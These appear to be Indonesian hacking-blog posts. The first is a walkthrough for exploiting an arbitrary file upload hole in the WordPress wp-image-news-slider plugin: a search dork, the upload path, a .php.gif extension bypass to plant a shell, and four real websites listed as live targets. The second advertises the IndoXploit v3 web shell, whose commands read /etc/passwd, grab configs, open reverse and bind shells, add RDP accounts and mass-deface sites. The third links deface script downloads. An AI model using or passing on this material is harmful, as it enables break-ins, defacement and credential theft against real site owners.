Arbitrary File Upload wp-image-news-slider Vulnerability

Dork: inurl:wp-content/plugins/wp-image-news-slider

Upload.php: wp-image-news-slider/js/swfupload/js/upload.php

Dorking dulu pake dork diatas pilih target, buka upload.php

Vuln: "No upload found in $_FILES for Filedata"

CSRF Online: Click Here

URL: http://site.com/[path]/wp-content/plugins/wp-image-news-slider/js/swfupload/js/upload.php

POST File: Filedata

Upload shell ext: .php.gif

shell location: /wp-content/uploads/random_name.php.gif

Live Target/Demo:

http://www.bittemilano.com/wp-content/plugins/wp-image-news-slider/js/swfupload/js/upload.php

http://wfcj.com/wp-content/plugins/wp-image-news-slider/js/swfupload/js/upload.php

http://namastefarms.com/wp-content/plugins/wp-image-news-slider/js/swfupload/js/upload.php

http://tclecateau.free.fr/wp-content/plugins/wp-image-news-slider/js/swfupload/js/upload.php

SHELL IndoXploit v3

Yooo whatsapp guys,kali ini saya akan membagikan Shell IndoXploit

Ini dia feature nya

=============================================
**** COMMAND BASED *****
- Read File
usage: rf [filename]
example: rf /etc/passwd

- Spawn File/Tools
usage: spawn [name]

[name]
- Adminer (adminer)
- WebConsole (webconsole)
- CGI Telnet 1 (cgitelnet1)
- CGI Telnet 2 (cgitelnet2)
- PHPINFO (phpinfo)

example:
spawn adminer
spawn webconsole
spawn cgitelnet1

- Jumping
usage: jumping

- Config Grabber
usage: idxconfig

- Symlink
usage: symlink

- Reverse Shell
[Back Connect]
usage: rvr bc [IP] [PORT] [TYPE]
example:
rvr bc 127.0.0.1 1337 bash
rvr bc 127.0.0.1 1337 perl

[Bind Port]
usage: rvr bp [PORT] [TYPE]
example:
rvr bp 1337 perl

- KRDP - Create RDP Account (for windows server only)
usage: krdp

- Logout From Shell
usage: logout

- Kill Backdoor
usage: killme
=============================================
- Mass Password Change
- Fake Root
- Cpanel Crack
- Mass Deface/Delete File
- Zone-H Mass Submit

IndoXploit

Sekian post saya,maaf kalo berantakan :v

Kumpulan Script Deface Keren

Hai semua:D
Dipost pertama ini ane mau share script deface yang keren"XD

Gausah banyak omong, langsung aja nih comot

1. Script Deface By Mr.X0X
     Lihat tampilan DISINI
     Download DISINI

2. Script Deface By Achon666ju5t
     Lihat tampilan DISINI
     Download DISINI

3. Script Deface By CowoKerensTeam
     Lihat tampilan DISINI
     Download DISINI

4. Script Deface By ML7C
     Lihat tampilan DISINI
     Download DISINI

5. Script Deface By FRK48
     Lihat tampilan DISINI
     Download DISINI

6. Script Deface By Gboys_Flush
     Lihat tampilan DISINI
     Download DISINI

7. Script Deface By ZoRRoKiN
     Lihat tampilan DISINI
     Download DISINI

8. Script Deface By xNot_Found
     Lihat tampilan DISINI
     Download DISINI

9. Script Deface By SecurityCrewz
     Lihat tampilan DISINI
     Download DISINI

Segitu aja gan, maaf kalo kurang:D
Tinggal edit tuh pasti tau lah cara ngeditnya:D